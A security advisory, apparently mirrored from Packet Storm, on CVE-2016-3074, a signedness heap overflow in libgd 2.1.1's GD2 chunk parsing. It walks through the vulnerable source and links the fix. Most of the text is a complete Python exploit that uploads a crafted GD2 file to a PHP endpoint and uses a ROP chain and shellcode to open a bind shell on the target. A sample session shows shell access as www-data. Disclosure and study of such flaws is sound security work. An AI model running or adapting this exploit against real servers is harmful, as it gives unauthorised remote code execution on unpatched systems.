Lucene search
K

libgd 2.1.1 Signedness

🗓️ 21 Apr 2016 00:00:00Reported by Hans Jerry IllikainenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 71 Views

libgd 2.1.1 Signedness vulnerability may lead to heap overflow when processing gd2 data. Parsing GD2 headers stores chunk index size as signed integer. Memory allocation based on chunk size may result in 1*1 byte allocation

Related
Code
`Overview  
========  
  
libgd [1] is an open-source image library. It is perhaps primarily used  
by the PHP project. It has been bundled with the default installation  
of PHP since version 4.3 [2].  
  
A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which  
may result in a heap overflow when processing compressed gd2 data.  
  
  
Details  
=======  
  
4 bytes representing the chunk index size is stored in a signed integer,  
chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers:  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 53 typedef struct {  
| 54 int offset;  
| 55 int size;  
| 56 }  
| 57 t_chunk_info;  
`----  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 65 static int  
| 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,  
| 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy,  
| 68 t_chunk_info ** chunkIdx)  
| 69 {  
| ...  
| 73 t_chunk_info *cidx;  
| ...  
| 155 if (gd2_compressed (*fmt)) {  
| ...  
| 163 for (i = 0; i < nc; i++) {  
| ...  
| 167 if (gdGetInt (&cidx[i].size, in) != 1) {  
| 168 goto fail2;  
| 169 };  
| 170 };  
| 171 *chunkIdx = cidx;  
| 172 };  
| ...  
| 181 }  
`----  
  
`gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then  
allocates memory for the compressed data based on the value of the  
largest chunk size:  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 371|637 if (gd2_compressed (fmt)) {  
| 372|638 /* Find the maximum compressed chunk size. */  
| 373|639 compMax = 0;  
| 374|640 for (i = 0; (i < nc); i++) {  
| 375|641 if (chunkIdx[i].size > compMax) {  
| 376|642 compMax = chunkIdx[i].size;  
| 377|643 };  
| 378|644 };  
| 379|645 compMax++;  
| ...|...  
| 387|656 compBuf = gdCalloc (compMax, 1);  
| ...|...  
| 393|661 };  
`----  
  
A size of <= 0 results in `compMax' retaining its initial value during  
the loop, followed by it being incremented to 1. Since `compMax' is  
used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation  
for `compBuf'.  
  
This is followed by compressed data being read to `compBuf' based on the  
current (potentially negative) chunk size:  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)  
| 340 {  
| ...  
| 413 if (gd2_compressed (fmt)) {  
| 414  
| 415 chunkLen = chunkMax;  
| 416  
| 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,  
| 418 compBuf,  
| 419 chunkIdx[chunkNum].size,  
| 420 (char *) chunkBuf, &chunkLen, in)) {  
| 421 GD2_DBG (printf ("Error reading comproessed chunk\n"));  
| 422 goto fail;  
| 423 };  
| 424  
| 425 chunkPos = 0;  
| 426 };  
| ...  
| 501 }  
`----  
  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)  
| 586 {  
| ...  
| 713 if (!gd2_compressed (fmt)) {  
| ...  
| 731 } else {  
| 732 chunkNum = cx + cy * ncx;  
| 733  
| 734 chunkLen = chunkMax;  
| 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,  
| 736 compBuf,  
| 737 chunkIdx[chunkNum].size,  
| 738 (char *) chunkBuf, &chunkLen, in)) {  
| 739 printf ("Error reading comproessed chunk\n");  
| 740 goto fail2;  
| 741 };  
| ...  
| 746 };  
| ...  
| 815 }  
`----  
  
The size is subsequently interpreted as a size_t by `fread()' or  
`memcpy()', depending on how the image is read:  
  
libgd-2.1.1/src/gd_gd2.c:  
,----  
| 221 static int  
| 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,  
| 223 uLongf * chunkLen, gdIOCtx * in)  
| 224 {  
| ...  
| 236 if (gdGetBuf (compBuf, compSize, in) != compSize) {  
| 237 return FALSE;  
| 238 };  
| ...  
| 251 }  
`----  
  
libgd-2.1.1/src/gd_io.c:  
,----  
| 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)  
| 212 {  
| 213 return (ctx->getBuf)(ctx, buf, size);  
| 214 }  
`----  
  
  
For file contexts:  
  
libgd-2.1.1/src/gd_io_file.c:  
,----  
| 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)  
| 53 {  
| ...  
| 67 ctx->ctx.getBuf = fileGetbuf;  
| ...  
| 76 }  
| ...  
| 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)  
| 93 {  
| 94 fileIOCtx *fctx;  
| 95 fctx = (fileIOCtx *)ctx;  
| 96  
| 97 return (fread(buf, 1, size, fctx->f));  
| 98 }  
`----  
  
  
And for dynamic contexts:  
  
libgd-2.1.1/src/gd_io_dp.c:  
,----  
| 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)  
| 75 {  
| ...  
| 95 ctx->ctx.getBuf = dynamicGetbuf;  
| ...  
| 104 }  
| ...  
| 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)  
| 257 {  
| ...  
| 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);  
| ...  
| 284 }  
`----  
  
  
PoC  
===  
  
Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:  
  
,----  
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php  
| [*] this may take a while  
| [*] offset 912 of 10000...  
| [+] connected to 1.2.3.4:5555  
| id  
| uid=33(www-data) gid=33(www-data) groups=33(www-data)  
|   
| uname -a  
| Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC  
| 2016 x86_64 x86_64 x86_64 GNU/Linux  
|   
| dpkg -l|grep -E "php5-(fpm|gd)"  
| ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...  
| ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...  
|   
| cat upload.php  
| <?php  
| imagecreatefromgd2($_FILES["file"]["tmp_name"]);  
| ?>  
`----  
  
  
Solution  
========  
  
This bug has been fixed in git HEAD [4].  
  
  
  
Footnotes  
_________  
  
[1] [http://libgd.org/]  
  
[2] [https://en.wikipedia.org/wiki/Libgd]  
  
[3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074]  
  
[4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19]  
  
  
--   
Hans Jerry Illikainen  
  
  
Proof of concept:  
  
#!/usr/bin/env python2  
#  
# PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and  
# php5-fpm running behind nginx.  
#  
# ,----  
# | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php  
# | [*] this may take a while  
# | [*] offset 912 of 10000...  
# | [+] connected to 1.2.3.4:5555  
# | id  
# | uid=33(www-data) gid=33(www-data) groups=33(www-data)  
# |  
# | uname -a  
# | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC  
# | 2016 x86_64 x86_64 x86_64 GNU/Linux  
# |  
# | dpkg -l|grep -E "php5-(fpm|gd)"  
# | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...  
# | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...  
# |  
# | cat upload.php  
# | <?php  
# | imagecreatefromgd2($_FILES["file"]["tmp_name"]);  
# | ?>  
# `----  
#  
# - Hans Jerry Illikainen  
#  
import sys  
import os  
import zlib  
import socket  
import threading  
import argparse  
import urlparse  
from struct import pack  
  
import requests  
  
# non-optimized bindshell from binjitsu  
#  
# context(arch="amd64", os="linux")  
# asm(shellcraft.bindsh(port, "ipv4"))  
shellcode = [  
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x52\xba",  
"%(fam-and-port)s\x52\x6a\x10\x5a\x48\x89\xc5\x48\x89\xc7",  
"\x6a\x31\x58\x48\x89\xe6\x0f\x05\x6a\x32\x58\x48\x89\xef",  
"\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x48\x89\xef\x31\xf6\x99",  
"\x0f\x05\x48\x89\xc5\x6a\x03\x5e\x48\xff\xce\x78\x0b\x56",  
"\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x48\xb8",  
"\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x6a\x3b\x58\x48\x89",  
"\xe7\x31\xf6\x99\x0f\x05"  
]  
  
gadgets = [  
"\x90" * 40,  
  
# [16]  
#  
# 0xb6eca2: popfq  
# 0xb6eca3: callq *%rsp  
pack("<Q", 0xb6eca2),  
  
"%(pad)s",  
  
# [2]  
#  
# 0x4dbe8c: add $0xd8,%rsp  
# 0x4dbe93: retq  
pack("<Q", 0x4dbe8c),  
  
"\x90" * 48,  
  
# [1]  
#  
# (gdb) x/x {void *}($rsp + 8)  
# 0x12d7d60: 0x9090909090909090  
#  
# 0xa91f35: rex.WXB pop %r14  
# 0xa91f37: mov $0x3,%bh  
# 0xa91f39: pop %rsp  
# 0xa91f3a: retq  
pack("<Q", 0xa91f35),  
  
"\x90" * 152,  
  
# [0]  
#  
# (gdb) x/i $rip  
# => 0x7f91acf61f46: callq *0x70(%rax)  
#  
# (gdb) x/gx 0x432b80  
# 0x432b80: 0x0000000000547880  
#  
# (gdb) x/3i 0x0000000000547880  
# 0x547880: push %rbx  
# 0x547881: mov %rdi,%rbx  
# 0x547884: callq *0x20(%rdi)  
pack("<Q", 0x432b80 - 0x70),  
  
# [3]  
#  
# 0x463e2c: pop %rbx  
# 0x463e2d: retq  
pack("<Q", 0x463e2c),  
  
# [7]  
#  
# 0x463b1d: pop %r12  
# 0x463b1f: retq  
pack("<Q", 0x463b1d),  
  
# [4]  
#  
# 0x473053: pop %rax  
# 0x473054: retq  
pack("<Q", 0x473053),  
  
# [6]  
#  
# 0xa8bc37: push %rdx  
# 0xa8bc38: jmpq *%rbx  
pack("<Q", 0xa8bc37),  
  
# [5]  
#  
# 0x7b2eaf: mov %r9,%rdx  
# 0x7b2eb2: jmpq *%rax  
pack("<Q", 0x7b2eaf),  
  
# [8]  
#  
# 0x552768: mov %rdi,%rax  
# 0x55276b: retq  
pack("<Q", 0x552768),  
  
# [9]  
#  
# 0x463e2c: pop %rbx  
# 0x463e2d: retq  
pack("<Q", 0x463e2c),  
pack("<Q", 0xfffff000),  
  
# [10]  
#  
# 0xb6c734: and %ebx,%eax  
# 0xb6c736: es retq  
pack("<Q", 0xb6c734),  
  
# [11]  
#  
# 0x4c93e9: xchg %eax,%ebx  
# 0x4c93ea: retq  
pack("<Q", 0x4c93e9),  
  
# [12]  
#  
# 0x406a08: pop %rcx (len, 0x5555)  
# 0x406a09: retq  
pack("<Q", 0x406a08),  
pack("<Q", 0x5555),  
  
# [13]  
#  
# 0xaf58fd: pop %rdx (PROT_READ|PROT_WRITE|PROT_EXEC)  
# 0xaf58fe: retq  
pack("<Q", 0xaf58fd),  
pack("<Q", 7),  
  
# [14]  
#  
# 0x473053: pop %rax (mprotect)  
# 0x473054: retq  
pack("<Q", 0x473053),  
pack("<Q", 125),  
  
# [15]  
#  
# 0x53f9f8: int $0x80  
# 0x53f9fa: mov 0x38(%r12),%rsi  
# 0x53f9ff: mov $0x8f,%edi  
# 0x53fa04: callq *0x28(%r12)  
pack("<Q", 0x53f9f8),  
  
"\x90" * 100,  
]  
  
# gd.h: #define gdMaxColors 256  
gd_max_colors = 256  
  
  
def make_gd2(chunks):  
gd2 = [  
"gd2\x00", # signature  
pack(">H", 2), # version  
pack(">H", 1), # image size (x)  
pack(">H", 1), # image size (y)  
pack(">H", 0x40), # chunk size (0x40 <= cs <= 0x80)  
pack(">H", 2), # format (GD2_FMT_COMPRESSED)  
pack(">H", 1), # num of chunks wide  
pack(">H", len(chunks)) # num of chunks high  
]  
colors = [  
pack(">B", 0), # trueColorFlag  
pack(">H", 0), # im->colorsTotal  
pack(">I", 0), # im->transparent  
pack(">I", 0) * gd_max_colors # red[i], green[i], blue[i], alpha[i]  
]  
  
offset = len("".join(gd2)) + len("".join(colors)) + len(chunks) * 8  
for data, size in chunks:  
gd2.append(pack(">I", offset)) # cidx[i].offset  
gd2.append(pack(">I", size)) # cidx[i].size  
offset += size  
  
return "".join(gd2 + colors + [data for data, size in chunks])  
  
  
def connect(host, port):  
addr = socket.gethostbyname(host)  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((addr, port))  
except socket.error:  
return  
  
print("\n[+] connected to %s:%d" % (host, port))  
if os.fork() == 0:  
while True:  
try:  
data = sock.recv(8192)  
except KeyboardInterrupt:  
sys.exit("\n[!] receiver aborting")  
if data == "":  
sys.exit("[!] receiver aborting")  
sys.stdout.write(data)  
else:  
while True:  
try:  
cmd = sys.stdin.readline()  
except KeyboardInterrupt:  
sock.close()  
sys.exit("[!] sender aborting")  
sock.send(cmd)  
  
  
def send_gd2(url, gd2, code):  
files = {"file": gd2}  
try:  
req = requests.post(url, files=files, timeout=5)  
code.append(req.status_code)  
except requests.exceptions.ReadTimeout:  
pass  
  
  
def get_payload(offset, port):  
rop = "".join(gadgets) % {"pad": "\x90" * offset}  
  
fam_and_port = pack("<I", (socket.AF_INET | (socket.htons(port) << 16)))  
sc = "".join(shellcode) % {"fam-and-port": fam_and_port}  
  
return rop + sc  
  
  
def get_args():  
p = argparse.ArgumentParser()  
p.add_argument("--threads", type=int, default=20)  
p.add_argument("--bind-port", type=int, default=8000)  
p.add_argument("--offsets", type=int, default=[0, 10000], nargs=2)  
p.add_argument("url")  
return p.parse_args()  
  
  
def main():  
args = get_args()  
host = urlparse.urlparse(args.url).netloc.split(":")[0]  
  
print("[*] this may take a while")  
for i in range(args.offsets[0], args.offsets[1]):  
sys.stdout.write("\r[*] offset %d of %d..." % (i, args.offsets[1]))  
sys.stdout.flush()  
  
valid = zlib.compress("A" * 100, 0)  
payload = get_payload(i, args.bind_port)  
gd2 = make_gd2([(valid, len(valid)), (payload, 0xffffffff)])  
  
threads = []  
code = []  
for _ in range(args.threads):  
t = threading.Thread(target=send_gd2, args=(args.url, gd2, code))  
t.start()  
threads.append(t)  
  
for t in threads:  
t.join()  
  
if 404 in code:  
sys.exit("\n[-] 404: %s" % args.url)  
connect(host, args.bind_port)  
  
print("\n[-] nope...")  
  
if __name__ == "__main__":  
main()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation